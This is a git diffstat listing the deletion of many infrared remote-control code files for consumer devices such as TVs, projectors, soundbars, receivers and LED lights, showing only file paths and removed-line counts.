.../optional-assets/Cameras/Sony/Nikon.ir | 8 - .../optional-assets/Cameras/Sony/Sony.ir | 20 - .../optional-assets/Casio-Projector_yt130.ir | 104 - .../Consoles/Microsoft/Xbox.ir | 38 - .../Converters/RME/RME_ADI-2_DAC_FS.ir | 134 - .../optional-assets/Converters/ReadMe.md | 1 - .../optional-assets/Cv610_remote.ir | 110 - .../optional-assets/Da_lite_proj_scrn.ir | 20 - .../optional-assets/Direct_tv.ir | 146 - .../optional-assets/Dragonfly_scrn.ir | 32 - .../optional-assets/Dreo_heater.ir | 44 - .../optional-assets/Dyson_air_multiplier.ir | 50 - .../optional-assets/Dyson_hp09.ir | 12 - .../optional-assets/Epson.ir | 110 - .../optional-assets/Hdmi_switch.ir | 38 - .../Head Units/GPX/GPX_CDRadio.ir | 38 - .../Head Units/Pioneer/Pioneer_DMH-1770NEX.ir | 22 - .../LED Lighting/Amazon/Amazon_LED_Lights.ir | 104 - .../BrandUnknown/44_Button_LED.ir | 248 - .../BrandUnknown/Color_Change_Bulb_Remote.ir | 104 - .../LED Lighting/BrandUnknown/DMX_Light.ir | 98 - .../LED Lighting/BrandUnknown/LEDStrip.ir | 1538 -- .../LED Lighting/BrandUnknown/LED_44Key.ir | 266 - .../LED Lighting/BrandUnknown/Light_Strip.ir | 146 - .../BrandUnknown/Magic_Lighting_Remote.ir | 104 - .../BrandUnknown/Practical_Series_2.ir | 134 - .../MonsterIlluminessence_LED.ir | 146 - .../LED Lighting/mlambert_rope_light.ir | 170 - .../optional-assets/LG_AC.ir | 38 - .../optional-assets/LG_BlueRay.ir | 110 - .../optional-assets/LG_C1.ir | 62 - .../optional-assets/Lasko_fan.ir | 20 - .../optional-assets/Lasko_heater.ir | 38 - .../Miscellaneous/AMI/AMI_Jukebox.ir | 32 - .../Miscellaneous/HDMI_Switch.ir | 38 - .../Miscellaneous/Hasbro/Furby/Furby.ir | 86 - .../optional-assets/Miscellaneous/LG/LG.ir | 98 - .../Miscellaneous/LaserX/LaserX_Tag.ir | 20 - .../optional-assets/Miscellaneous/ReadMe.md | 1 - .../ir_optional_assets/optional-assets/NEC.ir | 158 - .../optional-assets/Nikon.ir | 8 - .../optional-assets/Old_sonyxbr.ir | 26 - .../optional-assets/Panasonic_TC-P50S2.ir | 278 - .../optional-assets/Pioneer_1770nex.ir | 22 - .../optional-assets/Projectors/BenQ/BenQ.ir | 38 - .../LED Smart Home Theater Projector.ir | 74 - .../Projectors/BrandUnknown/README.md | 1 - .../Projectors/BrandUnknown/Scrn_innov.ir | 20 - .../Projectors/BrandUnknown/Stlth_acou.ir | 20 - .../Projectors/Casio/Casio_YT-130.ir | 104 - .../Da-Lite/Da-Lite_ProjectorScreen.ir | 20 - .../Projectors/Dragonfly/Dragonfly_Screen.ir | 32 - .../optional-assets/Projectors/Epson/Epson.ir | 110 - .../optional-assets/Roku.ir | 62 - .../optional-assets/Roku2.ir | 62 - .../optional-assets/Samsung.ir | 92 - .../optional-assets/Samsung_TV.ir | 74 - .../optional-assets/Samsung_e6.ir | 8 - .../optional-assets/Scrn_innov.ir | 20 - .../optional-assets/Sharp_Roku_TV.ir | 128 - .../optional-assets/Sonyxbr.ir | 74 - .../SoundBars/Bose/Bose_Solo_2.ir | 50 - .../SoundBars/Bose/Bose_Solo_5.ir | 32 - .../SoundBars/Bose/Bose_Soundbar.ir | 50 - .../SoundBars/BrandUnknown/Amz_snd_bar.ir | 56 - .../SoundBars/BrandUnknown/Soundblasterx.ir | 44 - .../SoundBars/Klipsch/Klipsch_Soundbar.ir | 62 - .../optional-assets/SoundBars/Samsung.ir | 62 - .../SoundBars/Sony/Sony_MHC-GS300AV.ir | 200 - .../SoundBars/Sony/Sony_Old_XBR.ir | 26 - .../SoundBars/Sony/Sony_RDH-GTK33IP.ir | 32 - .../SoundBars/Vizio/Vizio_Soundbar.ir | 86 - .../SoundBars/Yamaha/Yamaha_RX.ir | 116 - .../optional-assets/Stlth_acou.ir | 20 - .../Streaming Devices/Apple/Apple_TV.ir | 38 - .../Streaming Devices/Roku/Jet_AFS-1000b.ir | 20 - .../Streaming Devices/Roku/Roku.ir | 62 - .../Streaming Devices/Roku/Roku2.ir | 62 - .../Streaming Devices/Roku/Roku_Alternate.ir | 98 - .../optional-assets/Sunbrite.ir | 80 - .../optional-assets/Szxlcom_cams.ir | 80 - .../optional-assets/TVs/APEX LE4643T TV.ir | 74 - .../TVs/Hisense/Hisense_RokuTV.ir | 116 - .../optional-assets/TVs/LG/LG_C1.ir | 62 - .../optional-assets/TVs/LG_55UN7300AUD.ir | 92 - .../optional-assets/TVs/NEC/NEC.ir | 158 - .../TVs/Panasonic/Panasonic_TC-P50S2.ir | 278 - .../TVs/Philips/Philips_32PFL4208T.ir | 260 - .../optional-assets/TVs/Samsung/Samsung.ir | 266 - .../TVs/Samsung/Samsung_BN59.ir | 92 - .../TVs/Samsung/Samsung_BN5901301A.ir | 266 - .../optional-assets/TVs/Samsung/Samsung_E6.ir | 8 - .../optional-assets/TVs/Samsung/Samsung_TV.ir | 74 - .../TVs/Sharp/Sharp_Roku_TV.ir | 128 - .../optional-assets/TVs/Sony/Sony_Bravia.ir | 32 - .../optional-assets/TVs/Sony/Sony_XBR.ir | 74 - .../TVs/Sony/Sony_XBR_RMT-TX200U.ir | 44 - .../optional-assets/TVs/Sunbrite/Sunbrite.ir | 80 - .../optional-assets/TVs/TCL/TCL_32S327.ir | 62 - .../TVs/TCL/TCL_UnknownModel1.ir | 98 - .../TVs/TCL/TCL_UnknownModel2.ir | 68 - .../TVs/Toshiba/Toshiba_32AV502U.ir | 38 - .../optional-assets/TVs/Vizio/Vizio.ir | 104 - .../TVs/Westinghouse/Westinghouse.ir | 92 - .../ir_optional_assets/optional-assets/Tcl.ir | 98 - .../optional-assets/Tcl_32s327.ir | 62 - .../optional-assets/Tcl_tv.ir | 50 - .../optional-assets/Vizio.ir | 104 - .../optional-assets/Vizio_Soundbar.ir | 50 - .../optional-assets/Vornado.ir | 20 - .../optional-assets/Westinghouse.ir | 92 - .../optional-assets/Whynter_AC.ir | 56 - .../optional-assets/Xbox.ir | 38 - .../optional-assets/Yamaha_rx.ir | 116 - .../optional-assets/Zenith_AC.ir | 44 - .../_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir | 116 - .../_CSV-IRDB_/3M/Projector/134,-1.ir | 98 - .../_CSV-IRDB_/3M/Video Projector/134,-1.ir | 98 - .../_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir | 218 - .../_CSV-IRDB_/ABS/SAT_8776/8,0.ir | 182 - .../_CSV-IRDB_/ADA/Millenium/27,-1.ir | 8 - .../_CSV-IRDB_/ADB/SAT_ICAN3000/8,0.ir | 212 - .../_CSV-IRDB_/ADB/Set Top Box/42,17.ir | 230 - .../_CSV-IRDB_/ADS/AUDIO_Tech/0,-1.ir | 152 - .../_CSV-IRDB_/ADS/TV_Instant/2,-1.ir | 266 - .../_CSV-IRDB_/AIM/MCE_AIM-RC126/4,15.ir | 290 - .../_CSV-IRDB_/AIM/RADIO/129,129.ir | 104 - .../_CSV-IRDB_/ANITECH/TV/0,-1.ir | 50 - .../_CSV-IRDB_/AOC/TV/0,189.ir | 152 - .../AccessHD/CONVERTER_DTA1080U/0,191.ir | 170 - .../_CSV-IRDB_/AccessMedia/ThinBox/31,-1.ir | 218 - .../Accupel/Signal Generator/0,-1.ir | 152 - .../_CSV-IRDB_/Acer/Projector/8,19.ir | 8 - .../_CSV-IRDB_/Acer/Unknown_AT3201W/97,99.ir | 314 - .../_CSV-IRDB_/Acer/Unknown_Aspire/4,15.ir | 272 - .../_CSV-IRDB_/Acer/Unknown_RC-802/16,37.ir | 290 - .../_CSV-IRDB_/Acesonic/Karaoke/5,122.ir | 362 - .../_CSV-IRDB_/Acesonic/Karaoke/77,-1.ir | 206 - .../Aconatic/Unknown_AN-2121/2,-1.ir | 290 - .../Acorp/Unknown_Acorp-878/134,107.ir | 218 - .../_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir | 422 - .../_CSV-IRDB_/Adcom/CD Player/26,-1.ir | 308 - .../_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir | 26 - .../_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir | 1088 -- .../_CSV-IRDB_/Adcom/Pre-Amplifier/26,232.ir | 194 - .../_CSV-IRDB_/Adcom/Pre-Amplifier/81,0.ir | 188 - .../_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir | 26 - .../_CSV-IRDB_/Adcom/Receiver/26,-1.ir | 386 - .../_CSV-IRDB_/Adcom/Receiver/26,232.ir | 68 - .../_CSV-IRDB_/Adcom/Receiver/81,0.ir | 158 - .../Adcom/Surround Processor/26,-1.ir | 98 - .../_CSV-IRDB_/Adcom/Tuner/26,-1.ir | 158 - .../_CSV-IRDB_/Adcom/Unknown/26,-1.ir | 146 - .../_CSV-IRDB_/Adcom/Unknown/81,0.ir | 146 - .../_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir | 176 - .../_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir | 20 - .../_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir | 248 - .../Unknown_Acoustic/36,75.ir | 56 - .../Aesthetix/Pre-Amplifier/16,-1.ir | 98 - .../_CSV-IRDB_/Airmate/Fan/3,1.ir | 44 - .../_CSV-IRDB_/Aiwa/CD Player/118,0.ir | 104 - .../_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir | 194 - .../_CSV-IRDB_/Aiwa/Mini System/110,0.ir | 140 - .../_CSV-IRDB_/Aiwa/Receiver/12,-1.ir | 50 - .../_CSV-IRDB_/Aiwa/Receiver/13,-1.ir | 38 - .../_CSV-IRDB_/Aiwa/Receiver/16,-1.ir | 68 - .../_CSV-IRDB_/Aiwa/Receiver/18,-1.ir | 14 - .../_CSV-IRDB_/Aiwa/Unknown/127,0.ir | 266 - .../Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir | 74 - .../_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir | 206 - .../_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir | 128 - .../_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir | 224 - .../_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir | 98 - .../Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir | 254 - .../_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir | 152 - .../_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir | 152 - .../_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir | 200 - .../_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir | 218 - .../_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir | 194 - .../_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir | 152 - .../Aiwa/Unknown_RC-BVR02/110,-1.ir | 224 - .../_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir | 104 - .../_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir | 176 - .../_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir | 236 - .../_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir | 194 - .../_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir | 212 - .../_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir | 188 - .../_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir | 164 - .../Aiwa/Unknown_RC-TN320EX/110,0.ir | 224 - .../_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir | 218 - .../_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir | 230 - .../Aiwa/Unknown_RC-TN500EX/110,0.ir | 248 - .../Aiwa/Unknown_RC-TN520EX/110,0.ir | 248 - .../_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir | 68 - .../Aiwa/Unknown_RC-XR-MD201/110,0.ir | 248 - .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir | 140 - .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir | 116 - .../_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir | 152 - .../_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir | 338 - .../_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir | 110 - .../_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir | 122 - .../_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir | 242 - .../Aiwa/Unknown_rc-tn380b/110,0.ir | 242 - .../_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir | 224 - .../_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir | 206 - .../_CSV-IRDB_/Aiwa/VCR/127,0.ir | 398 - .../_CSV-IRDB_/Aiwa/VCR/130,111.ir | 62 - .../_CSV-IRDB_/Akai/CD Player/141,-1.ir | 128 - .../Akai/Unknown_AKAI-RC-AAV2100/160,160.ir | 182 - .../Akai/Unknown_Akai-RC-61A/11,11.ir | 200 - .../Akai/Unknown_Akai-RC-V23E/137,119.ir | 98 - .../_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir | 266 - .../Akai/Unknown_RC-W152E/137,119.ir | 188 - .../_CSV-IRDB_/Akai/Unknown_akai/131,101.ir | 260 - .../_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir | 206 - .../_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir | 134 - .../Satellite Radio/26,-1.ir | 122 - .../_CSV-IRDB_/Aopen/Media PC/4,-1.ir | 278 - .../_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir | 278 - .../_CSV-IRDB_/Apex/DVD Player/4,-1.ir | 278 - .../_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir | 308 - .../_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir | 272 - .../_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir | 272 - .../_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir | 176 - .../_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir | 194 - .../_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir | 284 - .../_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir | 290 - .../_CSV-IRDB_/Apple/Apple TV/238,135.ir | 158 - .../_CSV-IRDB_/Apple/Computer/238,135.ir | 92 - .../Apple/Digital Jukebox/238,135.ir | 80 - .../_CSV-IRDB_/Apple/MP3 Player/1,222.ir | 134 - .../_CSV-IRDB_/Apple/MP3 Player/238,135.ir | 62 - .../_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir | 230 - .../_CSV-IRDB_/Apple/iPod/238,135.ir | 38 - .../_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir | 134 - .../_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir | 458 - .../_CSV-IRDB_/Arcam/CD Player/0,-1.ir | 14 - .../_CSV-IRDB_/Arcam/CD Player/16,-1.ir | 8 - .../_CSV-IRDB_/Arcam/CD Player/20,-1.ir | 140 - .../_CSV-IRDB_/Arcam/DVD Player/16,-1.ir | 26 - .../_CSV-IRDB_/Arcam/DVD Player/25,-1.ir | 1334 -- .../_CSV-IRDB_/Arcam/Music System/16,-1.ir | 434 - .../_CSV-IRDB_/Arcam/Music System/17,-1.ir | 164 - .../_CSV-IRDB_/Arcam/Music System/20,-1.ir | 164 - .../_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir | 392 - .../_CSV-IRDB_/Arcam/Receiver/0,-1.ir | 8 - .../_CSV-IRDB_/Arcam/Receiver/16,-1.ir | 1238 -- .../_CSV-IRDB_/Arcam/Receiver/17,-1.ir | 338 - .../_CSV-IRDB_/Arcam/Receiver/19,-1.ir | 86 - .../_CSV-IRDB_/Arcam/Receiver/23,-1.ir | 158 - .../_CSV-IRDB_/Arcam/Receiver/25,-1.ir | 44 - .../Arcam/Surround Receiver/0,-1.ir | 8 - .../Arcam/Surround Receiver/16,-1.ir | 134 - .../Arcam/Surround Receiver/25,-1.ir | 26 - .../_CSV-IRDB_/Arcam/Tuner/17,-1.ir | 116 - .../_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir | 164 - .../_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir | 116 - .../Architectural Audio/Amplifier/132,132.ir | 26 - .../Multi-Zone Receiver/130,130.ir | 188 - .../_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir | 218 - .../_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir | 410 - .../Arrakis Systems/CD Jukebox/103,-1.ir | 194 - .../Arrakis Systems/CD Jukebox/39,-1.ir | 194 - .../Arrakis Systems/CD Jukebox/71,-1.ir | 194 - .../Askey/Unknown_AS-218/134,107.ir | 182 - .../Aspire Digital/Unknown_Digital/8,-1.ir | 344 - .../_CSV-IRDB_/Astro/Satellite/8,-1.ir | 248 - .../_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir | 170 - .../_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir | 68 - .../_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir | 278 - .../_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir | 194 - .../_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir | 38 - .../Atlanta DTH/Unknown_DTH/5,-1.ir | 194 - .../Surround Processor/131,95.ir | 134 - .../Surround Processor/64,64.ir | 98 - .../Surround Processor/7,-1.ir | 14 - .../_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir | 182 - .../_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir | 386 - .../Atlona/Matrix Switcher/134,107.ir | 104 - .../_CSV-IRDB_/Atlona/Switcher/134,107.ir | 32 - .../Audio Access/Pre-Amplifier/133,83.ir | 422 - .../Audio Access/Zone Controller/133,83.ir | 104 - .../Audio Access/Zone Controller/4,-1.ir | 14 - .../Audio Authority/HDMI Switcher/134,107.ir | 32 - .../Audio Authority/IR to Bluetooth/26,218.ir | 146 - .../Audio Authority/IR to Bluetooth/26,73.ir | 224 - .../Audio Authority/Switcher/64,159.ir | 140 - .../Audio Control/Pre-Amplifier/16,-1.ir | 470 - .../Audio Control/Pre-Amplifier/17,-1.ir | 92 - .../Audio Control/Pre-Amplifier/23,-1.ir | 140 - .../Audio Control/Processor/16,-1.ir | 350 - .../Audio Control/Receiver/16,-1.ir | 362 - .../Audio Control/Receiver/17,-1.ir | 128 - .../Audio Control/Receiver/23,-1.ir | 158 - .../Audio Refinement/Amplifier/20,-1.ir | 116 - .../Audio Refinement/CD Player/20,-1.ir | 56 - .../Audio Refinement/Tuner/20,-1.ir | 38 - .../Audio Research/Pre-Amplifier/7,-1.ir | 494 - .../AudioSource/Unknown_SS-Three/6,1.ir | 92 - .../_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir | 218 - .../_CSV-IRDB_/Audiovox/Monitor/128,126.ir | 44 - .../_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir | 146 - .../Audiovox/Unknown_Sirius/16,-1.ir | 128 - .../_CSV-IRDB_/Austar/Cable Box/32,224.ir | 164 - .../AutumnWave/Unknown_Onair/8,-1.ir | 284 - .../Avermedia/Unknown_AVerTV5/0,237.ir | 182 - .../Avermedia/Unknown_Avermedia/64,-1.ir | 188 - .../Avermedia/Unknown_RM-H7/0,237.ir | 206 - .../Avermedia/Unknown_RM-KV/4,-1.ir | 266 - .../Avex/Unknown_AVEX-AV5609/5,-1.ir | 92 - .../Avex/Unknown_AVEX-RC501/5,-1.ir | 170 - .../Avtoolbox/Unknown_hdswitch/32,-1.ir | 56 - .../Axion/Unknown_AXN-6075/2,255.ir | 200 - .../_CSV-IRDB_/Axonix/DVD Player/17,-1.ir | 410 - .../_CSV-IRDB_/Axonix/Media Server/17,-1.ir | 212 - .../_CSV-IRDB_/Axonix/MediaMax/17,20.ir | 470 - .../_CSV-IRDB_/Ayre/Amplifier/16,-1.ir | 122 - .../_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir | 260 - .../_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir | 80 - .../_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir | 200 - .../_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir | 302 - .../_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir | 302 - .../_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir | 302 - .../BTX/Drapery Controller/145,-1.ir | 8 - .../BTX/Drapery Controller/146,-1.ir | 8 - .../BTX/Drapery Controller/147,-1.ir | 8 - .../BTX/Drapery Controller/148,-1.ir | 8 - .../BTX/Drapery Controller/193,-1.ir | 8 - .../BTX/Drapery Controller/194,-1.ir | 8 - .../BTX/Drapery Controller/195,-1.ir | 8 - .../BTX/Drapery Controller/196,-1.ir | 8 - .../BTX/Drapery Controller/81,-1.ir | 8 - .../BTX/Drapery Controller/82,-1.ir | 8 - .../BTX/Drapery Controller/83,-1.ir | 8 - .../BTX/Drapery Controller/84,-1.ir | 8 - .../Bang Olufsen/CD Player/26,73.ir | 38 - .../_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir | 302 - .../_CSV-IRDB_/Barco/Video Projector/0,-1.ir | 266 - .../_CSV-IRDB_/Barco/Video Projector/18,-1.ir | 254 - .../_CSV-IRDB_/Barix/CD Jukebox/0,127.ir | 146 - .../_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir | 170 - .../_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir | 206 - .../_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir | 110 - .../_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir | 218 - .../_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir | 92 - .../_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir | 8 - .../_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir | 8 - .../Bell ExpressVu/Satellite/0,0.ir | 170 - .../Bell ExpressVu/Satellite/1,0.ir | 50 - .../Bell ExpressVu/Satellite/16,0.ir | 14 - .../_CSV-IRDB_/Bell/Satellite/0,0.ir | 242 - .../_CSV-IRDB_/Bell/Satellite/0,1.ir | 140 - .../_CSV-IRDB_/Bell/Satellite/0,2.ir | 170 - .../_CSV-IRDB_/Bell/Satellite/1,0.ir | 68 - .../_CSV-IRDB_/Bell/Satellite/1,1.ir | 50 - .../_CSV-IRDB_/Bell/Satellite/1,2.ir | 68 - .../_CSV-IRDB_/Bell/Satellite/128,0.ir | 14 - .../_CSV-IRDB_/Bell/Satellite/16,1.ir | 8 - .../_CSV-IRDB_/Bell/Satellite/24,0.ir | 32 - .../_CSV-IRDB_/Bell/Satellite/7,-1.ir | 8 - .../_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir | 266 - .../_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir | 92 - .../_CSV-IRDB_/BenQ/Projector/48,-1.ir | 128 - .../_CSV-IRDB_/BenQ/Projector/72,80.ir | 14 - .../_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir | 236 - .../_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir | 98 - .../_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir | 224 - .../_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir | 152 - .../_CSV-IRDB_/Big Ben/Game Console/67,164.ir | 92 - .../_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir | 200 - .../BnK_Components/2-Channel Preamp/11,-1.ir | 8 - .../BnK_Components/2-Channel Preamp/11,79.ir | 518 - .../BnK_Components/6 Zone Receiver/11,79.ir | 326 - .../BnK_Components/6 Zone Receiver/123,72.ir | 326 - .../BnK_Components/6 Zone Receiver/139,71.ir | 332 - .../BnK_Components/6 Zone Receiver/187,-1.ir | 326 - .../BnK_Components/6 Zone Receiver/203,67.ir | 326 - .../BnK_Components/6 Zone Receiver/219,66.ir | 326 - .../BnK_Components/6 Zone Receiver/242,208.ir | 668 - .../BnK_Components/6 Zone Receiver/243,192.ir | 458 - .../BnK_Components/6 Zone Receiver/251,64.ir | 326 - .../BnK_Components/6 Zone Receiver/27,78.ir | 386 - .../BnK_Components/6 Zone Receiver/43,77.ir | 326 - .../BnK_Components/6 Zone Receiver/59,76.ir | 302 - .../BnK_Components/6 Zone Receiver/75,75.ir | 326 - .../BnK_Components/6 Zone Receiver/91,74.ir | 326 - .../BnK_Components/Matrix Switcher/0,-1.ir | 260 - .../BnK_Components/Matrix Switcher/103,137.ir | 224 - .../BnK_Components/Matrix Switcher/108,57.ir | 320 - .../BnK_Components/Matrix Switcher/111,9.ir | 200 - .../BnK_Components/Matrix Switcher/119,-1.ir | 272 - .../BnK_Components/Matrix Switcher/123,72.ir | 326 - .../BnK_Components/Matrix Switcher/127,8.ir | 230 - .../BnK_Components/Matrix Switcher/128,247.ir | 266 - .../BnK_Components/Matrix Switcher/135,135.ir | 188 - .../BnK_Components/Matrix Switcher/143,7.ir | 344 - .../BnK_Components/Matrix Switcher/15,15.ir | 230 - .../BnK_Components/Matrix Switcher/159,6.ir | 278 - .../BnK_Components/Matrix Switcher/167,133.ir | 248 - .../BnK_Components/Matrix Switcher/172,53.ir | 350 - .../BnK_Components/Matrix Switcher/183,132.ir | 212 - .../BnK_Components/Matrix Switcher/187,-1.ir | 326 - .../BnK_Components/Matrix Switcher/192,243.ir | 272 - .../BnK_Components/Matrix Switcher/199,131.ir | 38 - .../BnK_Components/Matrix Switcher/204,-1.ir | 254 - .../BnK_Components/Matrix Switcher/219,66.ir | 374 - .../BnK_Components/Matrix Switcher/223,2.ir | 188 - .../BnK_Components/Matrix Switcher/23,142.ir | 254 - .../BnK_Components/Matrix Switcher/239,1.ir | 278 - .../BnK_Components/Matrix Switcher/242,208.ir | 530 - .../BnK_Components/Matrix Switcher/243,192.ir | 590 - .../BnK_Components/Matrix Switcher/247,128.ir | 206 - .../BnK_Components/Matrix Switcher/251,64.ir | 326 - .../BnK_Components/Matrix Switcher/255,-1.ir | 248 - .../BnK_Components/Matrix Switcher/31,14.ir | 230 - .../BnK_Components/Matrix Switcher/39,141.ir | 224 - .../BnK_Components/Matrix Switcher/44,61.ir | 314 - .../BnK_Components/Matrix Switcher/55,140.ir | 80 - .../BnK_Components/Matrix Switcher/59,76.ir | 302 - .../BnK_Components/Matrix Switcher/63,12.ir | 254 - .../BnK_Components/Matrix Switcher/64,251.ir | 260 - .../BnK_Components/Matrix Switcher/7,143.ir | 188 - .../BnK_Components/Matrix Switcher/71,139.ir | 248 - .../BnK_Components/Matrix Switcher/76,59.ir | 260 - .../BnK_Components/Matrix Switcher/79,11.ir | 86 - .../BnK_Components/Matrix Switcher/91,74.ir | 326 - .../BnK_Components/Matrix Switcher/95,10.ir | 242 - .../Multi-Zone Receiver/103,137.ir | 338 - .../Multi-Zone Receiver/119,-1.ir | 326 - .../Multi-Zone Receiver/123,72.ir | 338 - .../Multi-Zone Receiver/135,135.ir | 338 - .../Multi-Zone Receiver/143,7.ir | 338 - .../Multi-Zone Receiver/15,15.ir | 338 - .../Multi-Zone Receiver/151,134.ir | 338 - .../Multi-Zone Receiver/167,133.ir | 338 - .../Multi-Zone Receiver/183,132.ir | 338 - .../Multi-Zone Receiver/187,-1.ir | 338 - .../Multi-Zone Receiver/199,131.ir | 338 - .../Multi-Zone Receiver/215,130.ir | 338 - .../Multi-Zone Receiver/219,66.ir | 338 - .../Multi-Zone Receiver/23,142.ir | 338 - .../Multi-Zone Receiver/231,129.ir | 338 - .../Multi-Zone Receiver/242,208.ir | 338 - .../Multi-Zone Receiver/243,192.ir | 338 - .../Multi-Zone Receiver/247,128.ir | 338 - .../Multi-Zone Receiver/251,64.ir | 338 - .../Multi-Zone Receiver/31,14.ir | 338 - .../Multi-Zone Receiver/39,141.ir | 338 - .../Multi-Zone Receiver/55,140.ir | 338 - .../Multi-Zone Receiver/59,76.ir | 338 - .../Multi-Zone Receiver/7,143.ir | 338 - .../Multi-Zone Receiver/71,139.ir | 338 - .../Multi-Zone Receiver/79,11.ir | 338 - .../Multi-Zone Receiver/87,138.ir | 338 - .../Multi-Zone Receiver/91,74.ir | 344 - .../BnK_Components/Pre-Amplifier/11,-1.ir | 8 - .../BnK_Components/Pre-Amplifier/11,79.ir | 566 - .../BnK_Components/Pre-Amplifier/139,71.ir | 398 - .../BnK_Components/Pre-Amplifier/203,67.ir | 392 - .../BnK_Components/Pre-Amplifier/27,78.ir | 1850 -- .../BnK_Components/Pre-Amplifier/5,1.ir | 182 - .../BnK_Components/Pre-Amplifier/6,1.ir | 176 - .../BnK_Components/Receiver/139,71.ir | 398 - .../BnK_Components/Receiver/203,67.ir | 392 - .../BnK_Components/Receiver/27,78.ir | 1766 -- .../Surround Processor/11,79.ir | 440 - .../Surround Processor/27,78.ir | 590 - .../Theater Preamplifier/139,71.ir | 398 - .../Theater Preamplifier/203,67.ir | 392 - .../Theater Preamplifier/27,78.ir | 392 - .../BnK_Components/Theater-Zone 2/11,79.ir | 254 - .../BnK_Components/Theater-Zone 2/43,77.ir | 254 - .../BnK_Components/Theater-Zone 2/75,75.ir | 254 - .../_CSV-IRDB_/Bogen/Amplifier/1,-1.ir | 128 - .../_CSV-IRDB_/Bose/3-2-1/186,75.ir | 236 - .../_CSV-IRDB_/Bose/CCF Conversion/186,133.ir | 152 - .../_CSV-IRDB_/Bose/CCF Conversion/186,213.ir | 164 - 